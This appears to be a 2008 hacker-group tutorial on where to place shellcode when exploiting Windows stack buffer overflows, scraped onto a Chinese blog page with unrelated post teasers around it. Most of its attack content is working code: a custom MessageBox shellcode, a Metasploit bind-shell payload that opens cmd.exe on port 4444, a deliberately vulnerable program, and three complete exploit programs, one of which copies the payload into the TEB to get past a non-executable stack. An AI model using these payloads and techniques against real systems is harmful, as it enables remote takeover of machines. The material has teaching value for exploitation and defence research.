Shellcode locations and buffer overflows in Windows

Mythos模型能力跃迁:零日挖掘与沙箱逃逸的产业级影响 大语言模型正从通用推理工具演进为具备自主攻防能力的智能体,其核心突破在于将代码理解、漏洞建模与环境交互能力深度融合。这类模型不再依赖传统模糊测试或规则匹配,而是通过语义级源码分析、跨协议逻辑推演和动态沙箱验证,实现从‘发现缺陷’到‘生成可利用链’的确定性跨越。尤其在零日漏洞挖掘与沙箱逃逸场景中,模型展现出对人类思维盲区和架构矛盾的精准识别能力,显著压缩攻击窗口并重构红蓝对抗节奏。技术价值不仅体现于SWE-bench Pro、UK AISI CTF等基准跃升,更在于驱动企业重建软件物料清单(SBOM)、ATT 阅读详情
 
   /////////////////////////////////////////////////////////////////////////////////////
  [*][-][*][-][*][-]Shellcode locations and buffer overflows in Windows[-][*][-][*][-][*]
   ///////////////////////////////////////////////////////////////////////////////////// 

                              bY suN8Hclf | crimsoN_Loyd9

                           DaRk-CodeRs Group production, kid

                                www.dark-coders.4rh.eu

                                suN8Hclf[at]vp{dot}pl

                             09/03/2008 (English version)




0x00 ==]Introduction
0x01 ==]Shellcodes
0x02 ==]vuln.c
0x03 ==]The first method
0x04 ==]The second method
0x05 ==]The third method
0x06 ==]Conclusion
0x07 ==]Greetings


NOTE: Please, excuse my poor English, its not my mother language.


[<*>] 0x00 Introduction [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This is not just another paper describing basics of buffer overflows. 
There are lots of publications about this topic, therefore it does not 
make any sense to describe it again. If you are familar with exploiting
buffer overflows on Windows platform, do not think that this article
has nothing to offer you. It shows some interesting methods, which can be 
used during writing an exploit (for example: where to put shellcode when 
stack is non-executable). Basic knowledge of x86 processors, Assembly and C 
languages and buffer overflows exploitation are required.

The ability to overflow a buffer on the stack, gives us the full control
over the EIP register of x86 processor. Yep!!! This is great!!!
We can load this register with every address we want, and then force a vulnerable
program to jump there and to execute code that is at that address.

The problem occures when we want to execute the code, which WE want to
be executed and not the code, which is actualy in the memory. To achive
it, we have got to place OUR code in the memory of process we are attacking.
This code is known as shellcode and it consists of a set of instructions
for processor, additionaly encoded in their hex values.

In this paper I will discuss three possible locations in memory, where we can put
our shellcode and than, how to force the vulnerable application to execute it. 
During this tutorial we will be using two shellcodes, of different size.

The first, written by me:

1. Loads user32.dll library to process memory
2. Calls MessageBoxA
3. Calls ExitProcess(0) to terminate process

The second, was generated in Metasploit Framework. It binds
Windows shell (cmd.exe) to port 4444.

Three methods (possible locations in memory) I will describe are the following:

1. On the stack, behind the buffer that smashes the stack(so behind
the return address).
2. In buffer, which overflows buffer on the stack
3. In TEB block


[<*>] 0x01 Shellcodes [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. >>The first shellcode (64 bytes)<<

char shellcode[]=
"/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x5B/x33/xC9/x83/xC3"
"/x35/x88/x0B/x83/xEB/x06/x53/xB8/xCF/x05/x35/x79/xFF/xD0"
"/x33/xC9/x51/x53/x53/x51/x05/x11/x11/x11/x11/x2D/x79/x90"
"/x0E/x11/xFF/xD0/x33/xC9/x51/xB8/x1A/xE0/x34/x79/xFF/xD0"
"/x75/x73/x65/x72/x33/x32/x61";

In details:

00401B7C     EB 02          JMP SHORT vuln.00401B80
00401B7E     EB 05          JMP SHORT vuln.00401B85
00401B80     E8 F9FFFFFF    CALL vuln.00401B7E
00401B85     5B             POP EBX
00401B86     33C9           XOR ECX,ECX
00401B88     83C3 35        ADD EBX,35
00401B8B     880B           MOV BYTE PTR DS:[EBX],CL
00401B8D     83EB 06        SUB EBX,6
00401B90     53             PUSH EBX
00401B91     B8 CF053579    MOV EAX,KERNEL32.LoadLibraryA     //check address of LoadLibraryA on your own
00401B96     FFD0           CALL EAX
00401B98     33C9           XOR ECX,ECX
00401B9A     51             PUSH ECX
00401B9B     53             PUSH EBX
00401B9C     53             PUSH EBX
00401B9D     51             PUSH ECX
00401B9E     05 11111111    ADD EAX,11111111  
00401BA3     2D 79900E11    SUB EAX,110E9079 
00401BA8     FFD0           CALL EAX                         //here, in eax should be an address of 
00401BAA     33C9           XOR ECX,ECX                       //MessageBoxA function
00401BAC     51             PUSH ECX
00401BAD     B8 1AE03479    MOV EAX,KERNEL32.ExitProcess     //address of ExitProcess
00401BB2     FFD0           CALL EAX
00401BB4     75 73          JNZ SHORT vuln.00401C29
00401BB6     65:72 33       JB SHORT vuln.00401BEC
00401BB9     3261           XOR AL,BYTE PTR DS:[EAX]


Wow, I have written it under Windows 2000 Service Pack 4. If you are
using another Windows platform, you should change address of LoadLibraryA,
MessageBoxA and ExitProcess in kernel32 and User32 to good ones.
As you can see, this simple code simply invokes MessageBoxA and then
it terminates the process.

2. >>The second shellcode(399 bytes):

// win32_bind - Encoded Shellcode [/x00/x0a/x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]   http://metasploit.com/
unsigned char shellcode[] =
"/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/x4f/x85"
"/x2f/x98/x83/xeb/xfc/xe2/xf4/xb3/x6d/x79/x98/x4f/x85/x7c/xcd/x19"
"/xd2/xa4/xf4/x6b/x9d/xa4/xdd/x73/x0e/x7b/x9d/x37/x84/xc5/x13/x05"
"/x9d/xa4/xc2/x6f/x84/xc4/x7b/x7d/xcc/xa4/xac/xc4/x84/xc1/xa9/xb0"
"/x79/x1e/x58/xe3/xbd/xcf/xec/x48/x44/xe0/x95/x4e/x42/xc4/x6a/x74"
"/xf9/x0b/x8c/x3a/x64/xa4/xc2/x6b/x84/xc4/xfe/xc4/x89/x64/x13/x15"
"/x99/x2e/x73/xc4/x81/xa4/x99/xa7/x6e/x2d/xa9/x8f/xda/x71/xc5/x14"
"/x47/x27/x98/x11/xef/x1f/xc1/x2b/x0e/x36/x13/x14/x89/xa4/xc3/x53"
"/x0e/x34/x13/x14/x8d/x7c/xf0/xc1/xcb/x21/x74/xb0/x53/xa6/x5f/xce"
"/x69/x2f/x99/x4f/x85/x78/xce/x1c/x0c/xca/x70/x68/x85/x2f/x98/xdf"
"/x84/x2f/x98/xf9/x9c/x37/x7f/xeb/x9c/x5f/x71/xaa/xcc/xa9/xd1/xeb"
"/x9f/x5f/x5f/xeb/x28/x01/x71/x96/x8c/xda/x35/x84/x68/xd3/xa3/x18"
"/xd6/x1d/xc7/x7c/xb7/x2f/xc3/xc2/xce/x0f/xc9/xb0/x52/xa6/x47/xc6"
"/x46/xa2/xed/x5b/xef/x28/xc1/x1e/xd6/xd0/xac/xc0/x7a/x7a/x9c/x16"
"/x0c/x2b/x16/xad/x77/x04/xbf/x1b/x7a/x18/x67/x1a/xb5/x1e/x58/x1f"
"/xd5/x7f/xc8/x0f/xd5/x6f/xc8/xb0/xd0/x03/x11/x88/xb4/xf4/xcb/x1c"
"/xed/x2d/x98/x5e/xd9/xa6/x78/x25/x95/x7f/xcf/xb0/xd0/x0b/xcb/x18"
"/x7a/x7a/xb0/x1c/xd1/x78/x67/x1a/xa5/xa6/x5f/x27/xc6/x62/xdc/x4f"
"/x0c/xcc/x1f/xb5/xb4/xef/x15/x33/xa1/x83/xf2/x5a/xdc/xdc/x33/xc8"
"/x7f/xac/x74/x1b/x43/x6b/xbc/x5f/xc1/x49/x5f/x0b/xa1/x13/x99/x4e"
"/x0c/x53/xbc/x07/x0c/x53/xbc/x03/x0c/x53/xbc/x1f/x08/x6b/xbc/x5f"
"/xd1/x7f/xc9/x1e/xd4/x6e/xc9/x06/xd4/x7e/xcb/x1e/x7a/x5a/x98/x27"
"/xf7/xd1/x2b/x59/x7a/x7a/x9c/xb0/x55/xa6/x7e/xb0/xf0/x2f/xf0/xe2"
"/x5c/x2a/x56/xb0/xd0/x2b/x11/x8c/xef/xd0/x67/x79/x7a/xfc/x67/x3a"
"/x85/x47/x68/xc5/x81/x70/x67/x1a/x81/x1e/x43/x1c/x7a/xff/x98";


[<*>] 0x02 vuln.c [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Here is a code of the vuln.c program, which we'll be attacking
using three methods:

-------------vuln.c------------------------
#include <stdio.h>
#include <stdlib.h>

int foo(char *);

int main(int argc, char *argv[])
{
  if(argc != 2)
  return printf("Supply an argument, dude/n");
  foo(argv[1]);	
  return 0;
}

int foo(char *input)
{
    unsigned char buffer[600]="";
    printf("%.8X/n", &buffer);
    strcpy(buffer, input);
    return 0;
}
-------------vuln.c------------------------

As you can see, there is a possibility (in foo() function) to
overflow a buffer on the stack. Strcpy() function does not check
the length of "source" data.

NOTE1:
==================================================================================
|To make our think much simpler, let's assume that 620 bytes is                  |
|the maximum size of data that DOES NOT overwrite return address on the stack.   |
==================================================================================

[<*>] 0x03 The first method [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This is probably the most popular and the most simple method.
We fill entire buffer (620 bytes) with "chunk", the return address
we overwrite with jump(call, jmp), and then we place our shellcode.
The buffer, which exploits the vuln.c program with this method
looks like it:

[620 bytes of chunk][jmp esp, call esp][some NOP's][shellcode]

We assume that ESP register points to our shellcode during overflow
(shellcode is on the top of the stack).

Here is the exploit:

----------------exploit1.c------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET 0x7935EDBB   /* ATTENTION!!! Change it. Search kernel32.dll
                           or any other library for jmp esp or call esp 
                           instruction and then save the address */
#define TRASH 0x41

char shellcode[]=
"/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x5B/x33/xC9/x83/xC3"
"/x35/x88/x0B/x83/xEB/x06/x53/xB8/xCF/x05/x35/x79/xFF/xD0"
"/x33/xC9/x51/x53/x53/x51/x05/x11/x11/x11/x11/x2D/x79/x90"
"/x0E/x11/xFF/xD0/x33/xC9/x51/xB8/x1A/xE0/x34/x79/xFF/xD0"
"/x75/x73/x65/x72/x33/x32/x61";

int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;

memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

for(i=0;i<620;i++)
(*ptr++) = TRASH;                     //620 bytes of chunk

*(unsigned long *)&buf[620] = RET;   //then return address = jmp esp, call esp
strcat(buf, "/x90/x90/x90/x90");     //small NOP sledge
strcat(buf, shellcode);              //and our first shellcode
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);	
return 0;
}
----------------exploit1.c------------------------

This method works correctly, but is very limited. Why?
Our shellcode must be SMALL. If you use long shellcode (for example the 
second one from this paper) it will be cut. Therefore using this method 
we won't force the vuln.c program to execute or second shellcode. To do it 
we have got to use the second method.


[<*>] 0x04 The second method [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To execute long shellcodes we need much more place: 399 bytes + NOP sledge 
(in our example). If the buffer in an application, which we are attacking, is big 
(620 bytes in vuln.c), we can place THERE our shellcode and jump to the begining of our
code in buffer. This is how most of exploits for linux < 2.6 works.
Buffer looks like it:

[NOP sledge][REAL SHELLCODE][call esp, jmp esp][some NOP's][MINI SHELLCODE]

As you can see, we have got to use two shellcode's:

REAL SHELLCODE           -> this is our shellcode, which we want to be executed
MINI SHELLCODE           -> this is a small shellcode, which will be executed with
                            the first method. It will only jump to the REAL SHELLCODE.

In our example (vuln.c) the ECX register points to the end of buffer.
Therefore we can use it, to jump at the beggining of the buffer. 
We can do it by:

dec ch
dec ch
jmp ecx

Of course, you may need to change it. The most important thing is that
the ECX register, must point to the NOP sledge before REAL SHELLCODE after
the execution of MINI SHELLCODE.

Exploit:

------------------exploit2.c-----------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET 0x7935EDBB             //see comments in exploit1.c
#define NOP 0x90

unsigned char shellcode[] =
"/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/x4f/x85"
"/x2f/x98/x83/xeb/xfc/xe2/xf4/xb3/x6d/x79/x98/x4f/x85/x7c/xcd/x19"
"/xd2/xa4/xf4/x6b/x9d/xa4/xdd/x73/x0e/x7b/x9d/x37/x84/xc5/x13/x05"
"/x9d/xa4/xc2/x6f/x84/xc4/x7b/x7d/xcc/xa4/xac/xc4/x84/xc1/xa9/xb0"
"/x79/x1e/x58/xe3/xbd/xcf/xec/x48/x44/xe0/x95/x4e/x42/xc4/x6a/x74"
"/xf9/x0b/x8c/x3a/x64/xa4/xc2/x6b/x84/xc4/xfe/xc4/x89/x64/x13/x15"
"/x99/x2e/x73/xc4/x81/xa4/x99/xa7/x6e/x2d/xa9/x8f/xda/x71/xc5/x14"
"/x47/x27/x98/x11/xef/x1f/xc1/x2b/x0e/x36/x13/x14/x89/xa4/xc3/x53"
"/x0e/x34/x13/x14/x8d/x7c/xf0/xc1/xcb/x21/x74/xb0/x53/xa6/x5f/xce"
"/x69/x2f/x99/x4f/x85/x78/xce/x1c/x0c/xca/x70/x68/x85/x2f/x98/xdf"
"/x84/x2f/x98/xf9/x9c/x37/x7f/xeb/x9c/x5f/x71/xaa/xcc/xa9/xd1/xeb"
"/x9f/x5f/x5f/xeb/x28/x01/x71/x96/x8c/xda/x35/x84/x68/xd3/xa3/x18"
"/xd6/x1d/xc7/x7c/xb7/x2f/xc3/xc2/xce/x0f/xc9/xb0/x52/xa6/x47/xc6"
"/x46/xa2/xed/x5b/xef/x28/xc1/x1e/xd6/xd0/xac/xc0/x7a/x7a/x9c/x16"
"/x0c/x2b/x16/xad/x77/x04/xbf/x1b/x7a/x18/x67/x1a/xb5/x1e/x58/x1f"
"/xd5/x7f/xc8/x0f/xd5/x6f/xc8/xb0/xd0/x03/x11/x88/xb4/xf4/xcb/x1c"
"/xed/x2d/x98/x5e/xd9/xa6/x78/x25/x95/x7f/xcf/xb0/xd0/x0b/xcb/x18"
"/x7a/x7a/xb0/x1c/xd1/x78/x67/x1a/xa5/xa6/x5f/x27/xc6/x62/xdc/x4f"
"/x0c/xcc/x1f/xb5/xb4/xef/x15/x33/xa1/x83/xf2/x5a/xdc/xdc/x33/xc8"
"/x7f/xac/x74/x1b/x43/x6b/xbc/x5f/xc1/x49/x5f/x0b/xa1/x13/x99/x4e"
"/x0c/x53/xbc/x07/x0c/x53/xbc/x03/x0c/x53/xbc/x1f/x08/x6b/xbc/x5f"
"/xd1/x7f/xc9/x1e/xd4/x6e/xc9/x06/xd4/x7e/xcb/x1e/x7a/x5a/x98/x27"
"/xf7/xd1/x2b/x59/x7a/x7a/x9c/xb0/x55/xa6/x7e/xb0/xf0/x2f/xf0/xe2"
"/x5c/x2a/x56/xb0/xd0/x2b/x11/x8c/xef/xd0/x67/x79/x7a/xfc/x67/x3a"
"/x85/x47/x68/xc5/x81/x70/x67/x1a/x81/x1e/x43/x1c/x7a/xff/x98";

char mini[]=
"/xFE/xCD"    // dec ch
"/xFE/xCD"    // dec ch
"/xFF/xE1";   /* jmp ecx (the ECX register should point to the NOP
                  sledge before REAL shellcode) */

int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;

memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

for(i=0;i<160;i++)
(*ptr++) = NOP;                      //load 160 NOPs (counted value)

strcat(buf, shellcode);              //load our shellcode (399 bytes)
strcat(buf, "/x90");                 //load one NOP to gain rounded value 560 (160+399=559)
for(i=0;i<12;i++)
strcat(buf, "/x90/x90/x90/x90/x90"); //load some NOPs to be 620 bytes (620-560=60)
*(unsigned long *)&buf[620] = RET;   //now jump to MINI SHELLCODE(call esp)
strcat(buf,"/x90/x90/x90/x90");      //some NOPs
strcat(buf, mini);                   //MINI SHELLCODE

bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
------------------exploit2.c-----------------------

Of course, all values in this example were counted, and they won't
be good any time. You have got to do the math yourself :)
Ok, it works, but what if the stack is non-executable ?

[<*>] 0x05 The third method [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If the stack memory was configured to firbid the execution of code
that is placed on it, we have to choose another place to store our shellcode.
We can, for example, choose TEB block. Every block has 520 bytes buffer
used during Unicode to ASCII strings conversion. This buffer is shiffted(placed)
0xC00 bytes from the beggining of TEB block. The TEB block of the first
process's thread has address 0x7FFDE000 so the free buffer for
our shellcode is at 0x7FFDEC00 (0x7FFDE000 + 0xC00). Becouse this address
ends with NULL byte, we should change it to, for example, 0x7FFDEC04.
But here is a trap. If our exploit did use any function that uses the buffer in
TEB block for conversion between Unicode and ASCII, the attacked process
would probably crash down and our shellcode would not be executed.
Too bad...
But there are some others free locations in TEB block that are not used.
For example, starting from 0x7FFDE1BC there is a buffer containing only
NULL bytes, which we can overwrite. So this is how our buffer, which
will be sent to vuln.c, looks like:

[NOP sledge][shellcode][some NOPs][STR_FUNC][STR_FUNC_RET][DEST_BUF][SRC_BUF]

where:

STR_FUNC     (620-624 bytes)  -> the address of function, which will be used to copy 
                                 our NOP sledge+shellcode to TEB block (lstrcpyA or
                                 lstrcatA).
STR_FUNC_RET (624-628 bytes)  -> the return address for STR_FUNC. In our example we are
                                 jumping to our buffer with shellcode at 0x7FFDE1BC.
DEST_BUF     (628-632 bytes)  -> address of the location where we are copying our shellcode.
                                 TEB block (0x7FFDE1BC) in our case.
SRC_BUF      (632-636 bytes)  -> the address from which we are copying our code. In our
                                 example, we copy NOP sledge and shellcode. Get this address
                                 from vuln.c program.


And the third exploit:

------------------------exploit3.c----------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define TEB 0x7FFDE1BC              // the location where we are copying our code
#define BUF_ADDR 0x0013B870         //address of buffer from vuln.c
#define STRCPY_FUNC 0x7935DF5C      //address of lstrcpyA in kernel32.dll for Win2000

unsigned char shellcode[] =
"/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/x4f/x85"
"/x2f/x98/x83/xeb/xfc/xe2/xf4/xb3/x6d/x79/x98/x4f/x85/x7c/xcd/x19"
"/xd2/xa4/xf4/x6b/x9d/xa4/xdd/x73/x0e/x7b/x9d/x37/x84/xc5/x13/x05"
"/x9d/xa4/xc2/x6f/x84/xc4/x7b/x7d/xcc/xa4/xac/xc4/x84/xc1/xa9/xb0"
"/x79/x1e/x58/xe3/xbd/xcf/xec/x48/x44/xe0/x95/x4e/x42/xc4/x6a/x74"
"/xf9/x0b/x8c/x3a/x64/xa4/xc2/x6b/x84/xc4/xfe/xc4/x89/x64/x13/x15"
"/x99/x2e/x73/xc4/x81/xa4/x99/xa7/x6e/x2d/xa9/x8f/xda/x71/xc5/x14"
"/x47/x27/x98/x11/xef/x1f/xc1/x2b/x0e/x36/x13/x14/x89/xa4/xc3/x53"
"/x0e/x34/x13/x14/x8d/x7c/xf0/xc1/xcb/x21/x74/xb0/x53/xa6/x5f/xce"
"/x69/x2f/x99/x4f/x85/x78/xce/x1c/x0c/xca/x70/x68/x85/x2f/x98/xdf"
"/x84/x2f/x98/xf9/x9c/x37/x7f/xeb/x9c/x5f/x71/xaa/xcc/xa9/xd1/xeb"
"/x9f/x5f/x5f/xeb/x28/x01/x71/x96/x8c/xda/x35/x84/x68/xd3/xa3/x18"
"/xd6/x1d/xc7/x7c/xb7/x2f/xc3/xc2/xce/x0f/xc9/xb0/x52/xa6/x47/xc6"
"/x46/xa2/xed/x5b/xef/x28/xc1/x1e/xd6/xd0/xac/xc0/x7a/x7a/x9c/x16"
"/x0c/x2b/x16/xad/x77/x04/xbf/x1b/x7a/x18/x67/x1a/xb5/x1e/x58/x1f"
"/xd5/x7f/xc8/x0f/xd5/x6f/xc8/xb0/xd0/x03/x11/x88/xb4/xf4/xcb/x1c"
"/xed/x2d/x98/x5e/xd9/xa6/x78/x25/x95/x7f/xcf/xb0/xd0/x0b/xcb/x18"
"/x7a/x7a/xb0/x1c/xd1/x78/x67/x1a/xa5/xa6/x5f/x27/xc6/x62/xdc/x4f"
"/x0c/xcc/x1f/xb5/xb4/xef/x15/x33/xa1/x83/xf2/x5a/xdc/xdc/x33/xc8"
"/x7f/xac/x74/x1b/x43/x6b/xbc/x5f/xc1/x49/x5f/x0b/xa1/x13/x99/x4e"
"/x0c/x53/xbc/x07/x0c/x53/xbc/x03/x0c/x53/xbc/x1f/x08/x6b/xbc/x5f"
"/xd1/x7f/xc9/x1e/xd4/x6e/xc9/x06/xd4/x7e/xcb/x1e/x7a/x5a/x98/x27"
"/xf7/xd1/x2b/x59/x7a/x7a/x9c/xb0/x55/xa6/x7e/xb0/xf0/x2f/xf0/xe2"
"/x5c/x2a/x56/xb0/xd0/x2b/x11/x8c/xef/xd0/x67/x79/x7a/xfc/x67/x3a"
"/x85/x47/x68/xc5/x81/x70/x67/x1a/x81/x1e/x43/x1c/x7a/xff/x98";

int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[770];
int i,y;

bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

memset(buf, 0, sizeof(buf));

for(i=0;i<25;i++)
strcat(buf, "/x90/x90/x90/x90");             //100 bytes of NOP

for(i=strlen(buf), y=0;y<sizeof(shellcode);y++,i++)
buf[i] = shellcode[y];                      //our shellcode

for(i;i<621;i++)
strcat(buf, "/x90");                        //and fill the rest of buffer with NOP's (total 620 bytes)

*(unsigned long *)&buf[620] = STRCPY_FUNC;
*(unsigned long *)&buf[624] = TEB;
*(unsigned long *)&buf[628] = TEB;
*(unsigned long *)&buf[632] = BUF_ADDR;

bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
------------------------exploit3.c----------------------

After invoking this exploit, and typing :

> netstat -a

you should see opened port -> 4444. Good...

Our shellcode should be less than 520 bytes long, to not to overflow the 
next TEB or PEB block.

[<*>] 0x06 Conclusion [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`

The three methods presented in this paper are quite useful during
writting the buffer overflows exploit. 

All comments, sugestions, questions -> send to:

suN8Hclf[at]vp{dot}pl OR crimson{dot}loyd[at]gmail{dot}com

Feel free to write me any time...

[<*>] 0x07 Greetings [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sir P.Sobczak (for being the "coolest" person in the world, for Your help, suggestions)
and M.Domosud(for trust),P.Jeda(for friendship),K.CzErEdYs(for "jestes zajebisty"),
M.Slaski, Die_Angel,0in(for WebIDS),all DaRk-CodeRs Group,adhgmiz(for inspiration),
Emmanuel Goldstein(for "drug deal":):)),rHiana,RoMaNcy-HaCker,undergr0und.net...



Stay secure...



==[END OF FUCKIN' FILE]==

深入大模型-52-Harness综述之(二)四大子系统 一个Harness都由四个子系统拼成,Agentic Loop是主干,四个子系统是Tool系统、Memory & Context、Guardrails,再加上一个把它们优雅组织起来的Skill系统。 阅读详情

相关推荐

Android 的端智能学习路径

基础层:先补齐 Android 进阶(JNI / 性能优化)和 AI 基础概念,无需深入算法开发;核心层:掌握 TFLite 的模型加载、推理、量化,能完成基础端侧推理;落地层:聚焦实战场景(图像 / OCR / 语音),解决工程化问题(模型管理、异常处理);优化层:通过模型量化、硬件加速、工程优化,提升推理性能和用户体验。

hqiangtai的博客 346

对开发者有用的英文网站合集

问答社区 Stack Overflow : subscribe to their weekly newsletter and any other topic which you find interesting Quora : A place to share knowledge and better understand the world Learn Anything : Com

嵌入式之斋 2384

【MATLAB+VScode】VScode调试MATLAB代码的终极指南

本文详细介绍了在VScode中调试MATLAB代码的完整方案。通过配置MATLAB Engine for Python作为桥梁,实现在VScode中设置断点、单步执行、查看变量等交互式调试功能,有效结合了VScode的现代化编辑体验与MATLAB的强大计算内核,显著提升开发效率。

weixin_29161719的博客 412

Python+Agent入门笔记(六):记忆和状态,从“一次性问答”到“能用助手”

滑动窗口的缺点很明显:被扔掉的信息就真没了。如果用户第一轮说“我不吃辣”,隔了二十轮让他推荐餐厅,模型已经忘了。定期把旧的对话压缩成一段总结,作为一条特殊的消息插进去。"""把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。"""# 把旧消息拼成纯文本,让模型总结content = f"[工具结果]把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。

qq_41241612的博客 105

自抗扰(ADRC)控制原理及控制器设计

自抗扰控制原理以及控制器设计

weixin_43487974的博客 3万+

锁定放大器

锁定放大器

qq_46757048的博客 4706

循环嵌套(多层 for 循环)

表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。

weixin_43732943的博客 197

VSCode + Latex 配置

1. 安装VSCode VSCode下载 next,next就安装好了。 2. 配置VSCode 2.1 安装LaTeX Workshop插件 install,安装LaTeX Workshop插件 2.2 修改 user setting 点击左下角,进入用户设置 点击上图标记的部分,选择 打开settings.json 具体配置文件如下: { "latex-workshop.la...

一只特立独行的猪 10万+

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

a bit 213

Kolla 容器化 高可用OpenStack 部署与 Ceph 集群集成

本文介绍了 Kolla 项目在容器化 OpenStack 部署和管理方面的应用,以及与 Ceph 集群的集成。Kolla 项目通过容器技术提供了一种简化和自动化的 OpenStack 部署方法,同时实现了易于升级和回滚的特点。本文还探讨了 Kolla 在实现零宕机升级方面的进展,并分析了其对 OpenStack 用户和社区的重要意义。

we22635的博客 2703

CMake教程:C++ CMake自定义find_package并在其它项目使用

find_package 是 CMake 中一个非常重要的命令,用于在系统中找到外部库或包,并将其包含到项目中。: 要查找的包的名称。[version]: 可选的版本号。如果指定了版本号,CMake 会尝试找到该版本或更高版本的包。[REQUIRED]: 如果指定了这个关键字,找不到包时会产生一个错误并终止配置过程。: 指定要查找的包的组件。: 指定可选的组件,即使找不到这些组件,配置过程也会继续。: 指定查找包的模式,CONFIG表示查找配置文件,MODULE表示查找模块文件。

琅嬛福地 1564

本地chatbot4--引入LangGraph

上一节实现了chatbot的连续调用工具的功能,但目前流程还是提示词→模型→解析→调用工具(可选)→输出线性的一条路走到底(LangChain)只适合简单线性任务(问答、摘要、简单RAG)agent的本质是:“模型决定调工具→执行→结果喂回模型→再决定……直到完成”。举例:读日志 → 解析 ─失败→ 重试(≤3次) ─→ 退出│成功↓算统计 → 对比历史 → 生成报告 → [人工审核卡点] → 发送。

weixin_45859446的博客 101

【思考模型框架】采用双钻模型:发散(桌面研究/用户访谈)→收敛(需求归类/优先级排序),输出需求规格书、追踪矩阵及产品待办清单。

设计思维双钻模型是一种以用户为中心的需求管理方法,通过"发散-收敛"的双循环确保问题定位准确、方案切实可行。第一钻石(探索→定义)聚焦"找对问题",运用用户访谈、田野调查等方法挖掘真实需求;第二钻石(开发→交付)解决"做对方案",通过原型测试、A/B测试验证可行性。该模型强调低保真验证、多团队协作和真实用户测试,避免资源浪费与伪需求开发。典型应用场景包括产品功能优化、用户体验提升等需要精准落地的需求场景。核心价值在于建立从用户痛点到解决方案的可控闭

奶爸的编程之路,也就一周冷个三天 319

C# 数据结构和特殊类型

.NET Core(现称.NET)提供丰富数据结构,优化性能与开发效率。日常开发首选List<T>和Dictionary<TKey,TValue>;高性能场景推荐Span<T>与Memory<T>减少内存分配;并发环境使用ConcurrentDictionary等线程安全集合;避免非泛型集合如ArrayList。

cccloveforever的博客 731

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?

第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。

wo_jack的博客 244

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

list

的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后一个元素。,因此反向迭代器的实现可以借助正向迭代器,即:反向迭代器内部可以包含一个正向迭代器,对正向迭代器的接口进行包装即可。是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。迭代到该位置,在这段位置上迭代需要线性的时间开销;最大的缺陷是不支持任意位置的随机访问,比如:要访问。还需要一些额外的空间,以保存每个节点的相关联信息。个元素,必须从已知的位置。

xie0510_的博客 290

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

上万数据的批量插入

当数据达到上万上十万的时候,如何批量插入

junxunfs的博客 41

3.链表相关知识点

链表

2501_93884468的博客 430

软件商店常见问题标准处理流程

从底层软件源来看,/etc/apt/sources.list配置错误、源地址失效、公网与内网离线源混用、ARM64与x86_64架构源串用,以及DNS解析异常、系统代理配置错误,都会导致商店无法获取应用数据;打开该应用,确认可正常运行;软件商店作为系统内置的图形化软件分发与安装入口(UKUI桌面配套组件,底层依赖APT软件源),承担着应用软件的浏览、搜索、下载、安装、升级与卸载等核心功能,是终端软件部署与管理的关键通道。覆盖软件商店启动、页面加载、应用下载、安装、卸载、搜索、自身更新等全部业务场景。

